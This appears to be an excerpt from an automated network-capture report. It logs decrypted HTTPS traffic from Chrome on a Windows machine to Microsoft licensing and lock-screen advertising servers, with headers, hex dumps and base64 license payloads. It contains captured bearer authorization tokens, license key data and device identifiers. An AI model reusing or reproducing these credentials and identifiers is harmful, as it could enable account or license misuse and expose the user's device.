Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:28 UTC 2294 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:27 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8073
MS-CorrelationId: 3e1ad55c-d001-4696-9048-468a59039c1a
MS-RequestId: aaad462e-c4dc-4bc3-acbb-b3292dcf4799
MS-CV: UznHpAHqV0GMBdER.19.1530939538.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-xpndp

2022-07-01 09:01:28 UTC 2295 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 36 35 65 38 66 33 30 2d 32 30 61 31 2d 39 
35 32 38 2d 62 62 34 38 2d 34 32 39 39 39 62 35 62 32 61 61 38 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"865e8f30-20a1-9528-bb48-42999b5b2aa8"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:28 UTC 2296 IN Data Raw: 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 77 4f 6a 49 7a 4f 6a 4d 33 4c 6a 59 78 4d 6a 45 31 4e 7a 46 61 50 
43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 
64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 
58 54 6a 42 54 56 31 46 70 54 32 6c 4a 65 6b 39 45 54 6d 74 61 56 46 55 7a 57 56 4d 78 61 6c 6c 36 57 58 64 4d 56 46 
46 33 54 57 70 52 64 45 39 45 5a 47 6c 61 61 54 46 73 54 57 70 4f 61 6c 70 55 62 47 74 4f 52 30 30 79 54 6d 70 72 61 
57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 
63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 31 6e 51 55 46 42 
Data Ascii: DIyLTA3LTAxVDAwOjIzOjM3LjYxMjE1NzFaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9
tUG9saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJek9ETmtaVFUzWVMxall6WXdMVFF3TWpRdE9EZGlaa
TFsTWpOalpUbGtOR00yTmpraWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQU1nQUFB

2022-07-01 09:01:28 UTC 2297 IN Data Raw: 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 
61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 
79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 
30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 
47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 
50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 
73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 
Data Ascii: zIwMDEvMDQveG1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5
zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlb
G9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:28 UTC 2298 IN Data Raw: 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 
5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 
52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 
78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 
6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 
53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 
31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 
Data Ascii: mFsdWU+PE1vZHVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2R
nZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZ
lc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJha
Ho0Y211

2022-07-01 09:01:28 UTC 2299 IN Data Raw: 7a 49 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 
31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 
33 4e 76 5a 6e 51 75 57 47 4a 76 65 46 4e 77 5a 57 56 6a 61 48 52 76 56 47 56 34 64 45 39 32 5a 58 4a 73 59 58 6c 66 
4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 
2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 
78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 
45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 
Data Ascii: zIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZ
nQuWGJveFNwZWVjaHRvVGV4dE92ZXJsYXlfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlY
XNlUmVuZXdhbFBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR
5cGU9Ik

2022-07-01 09:01:28 UTC 2300 IN Data Raw: 4f 52 45 6b 31 54 31 52 73 61 55 35 58 53 58 6c 5a 56 30 55 30 53 57 77 77 63 30 6c 74 64 48 42 69 62 56 46 
70 54 32 6c 4b 52 47 49 79 4e 54 42 61 56 7a 55 77 53 57 6c 33 61 57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 
39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 61 52 31 5a 31 5a 45 64 73 62 57 46 58 56 6e 6c 4a 61 
6d 39 70 57 56 52 6a 65 45 35 58 55 54 42 50 52 47 74 30 57 58 70 4e 4d 45 31 35 4d 57 31 4e 61 6b 4a 70 54 46 64 4a 
65 55 31 74 56 58 52 61 61 6d 68 72 54 6e 70 52 4e 55 31 45 57 58 68 5a 61 6b 4a 71 53 57 6c 33 61 57 4e 48 52 6d 70 
68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 59 7a 4a 73 4e 45 6c 70 64 32 6c 6a 53 45 70 32 57 6b 
68 57 61 6d 52 46 52 6d 74 61 52 54 6c 31 59 33 6c 4a 4e 6c 63 78 4d 48 
Data Ascii: OREk1T1RsaU5XSXlZV0U0SWwwc0ltdHBibVFpT2lKRGIyNTBaVzUwSWl3aWNHRmphMkZuWlhNaU9sd
DdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pWVRjeE5XUTBPRGt0WXpNME15MW1NakJpTFdJeU1tV
XRaamhrTnpRNU1EWXhZakJqSWl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsNElpd2ljSEp2WkhWamRFR
mtaRTl1Y3lJNlcxMH

2022-07-01 09:01:28 UTC 2301 IN Data Raw: 36 5a 44 67 77 50 54 77 76 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 
35 68 64 48 56 79 5a 53 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 
6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 79 49 2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5
a 6d 38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 6c 36 59 58 52 70 62 32 35 4e 5a 58 52 6f 62 32 51 67 51 57 78 
6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 
41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 38 2b 50 46 4e 70 5a 32 35 68 64 
48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 
Data Ascii: 6ZDgwPTwvU1BMaWNlbnNlQmxvY2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvM
jAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8+PENhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHR
wOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+PFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG

2022-07-01 09:01:28 UTC 2302 IN Data Raw: 35 65 56 5a 4b 57 44 56 59 62 45 31 4f 4b 31 64 6d 61 6b 4e 48 4e 53 74 77 64 6e 56 49 57 46 70 47 63 48 6c 
46 62 55 39 56 4e 32 52 6a 51 6e 68 59 55 47 56 71 55 6d 67 35 57 46 56 4e 63 44 4e 4f 53 6e 67 76 52 31 4a 42 56 33 
4e 42 62 54 4e 56 55 6a 42 71 59 69 74 33 65 46 6b 77 53 57 4a 55 4e 6d 78 35 62 6a 68 4f 63 6d 30 31 52 55 52 57 53 
45 38 33 57 47 56 61 4d 47 64 4b 55 6a 52 58 63 46 64 4f 54 56 41 79 65 47 74 6b 56 55 49 34 4f 44 5a 50 4d 46 4a 4e 5
3 79 74 48 64 6b 4e 36 61 47 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 
6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 31 69 59 7a 51 77 4c 54 49 33 4d 54 
49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 
Data Ascii: 5eVZKWDVYbE1OK1dmakNHNStwdnVIWFpGcHlFbU9VN2RjQnhYUGVqUmg5WFVNcDNOSng
vR1JBV3NBbTNVUjBqYit3eFkwSWJUNmx5bjhOcm01RURWSE83WGVaMGdKUjRXcFdOTVAyeGtkVUI4ODZ
PMFJNSytHdkN6aGc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iYzQwLTI3MTItMGQ1Z
C1lN2MxMDA4NWMzMz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

135 192.168.2.5 49902 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:28 UTC 2292 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180127Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=b8c2b3b2078e4d42a35ba82c0e032677&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
338387&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0
&smBiosDm=ofrcin7%2C1&tl=2&tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1
&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-07-01 09:01:28 UTC 2302 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24531
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425615666-T700383923-C128000000003288669+B+P60+S1,P425056668-T
700379701-C128000000002295629+B+P90+S2,P425119424-T700340276-C128000000002408609+B+P20+S3"},
{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"B
WW_128000000002295629_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002408609_EN-US+
P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: cgn292HLbpUIxgZDdZCiERYkcbeI2BDMPtQlItwP7BJHVBRs7JpvfeCv0drs8Tt0kjZQBdNpKW3JnCz
jRZzBRqDP3xOXc8X/gLqBY8y8hsHhsxeXTw5YUMPit5UX63MzdV67AX3GClTWeRXw1A9vOHfJyCXGjOZFnbmDP22XE
F9ctvzD96ALFqBGGxmBdnVefsIOkYC8wFiw+0q7LVWZBRwj+fvDF/YqO0VZ+X45ZPFGtze/MQpOEUoVaAueos4A2Lz
nS7z2RQveOlvkQUSa4LiUmBd7c6KqOLmzfDVSs28o/TLI8fb99giiKWLIl/bZOsAukggH0QRjWShiA9FBWQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:27 GMT
Connection: close

2022-07-01 09:01:28 UTC 2304 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 
65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 
49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima

2022-07-01 09:01:28 UTC 2325 IN Data Raw: 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 38 32 35 37 39 39 35 33 33 33 31 30 34 32 30 26 4c 4f 43 
41 4c 49 44 3d 77 3a 46 45 38 45 37 32 44 39 2d 39 33 32 34 2d 46 32 37 46 2d 39 31 43 37 2d 46 45 45 36 36 42 35 33 
31 35 32 31 26 44 53 5f 45 56 54 49 44 3d 63 35 31 63 66 66 66 35 65 38 66 33 34 31 35 35 39 30 32 31 65 39 61 66 64 
36 34 32 38 63 66 37 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 
26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 33 35 43 35 36 43 41 44 2d 41 43 32 42 2d 34 34 30 39 
2d 42 31 39 44 2d 42 37 36 34 43 46 38 35 37 31 41 43 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 
42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 
Data Ascii: &GLOBALDEVICEID=6825799533310420&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B53152
1&DS_EVTID=c51cfff5e8f341559021e9afd6428cf7&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MA
P_TID=35C56CAD-AC2B-4409-B19D-B764CF8571AC&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

136 192.168.2.5 49903 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:28 UTC 2318 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.20
Content-Length: 4481
Host: licensing.mp.microsoft.com

2022-07-01 09:01:28 UTC 2320 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:28 UTC 2334 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:27 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8159
MS-CorrelationId: 96d53a15-b217-49cf-ade7-8282670c9392
MS-RequestId: 48813b62-3294-4969-aad9-19e8223b7bcb
MS-CV: UznHpAHqV0GMBdER.20.1530939628.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-xpndp

2022-07-01 09:01:28 UTC 2334 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 63 65 33 64 33 64 64 2d 61 34 63 37 2d 36 
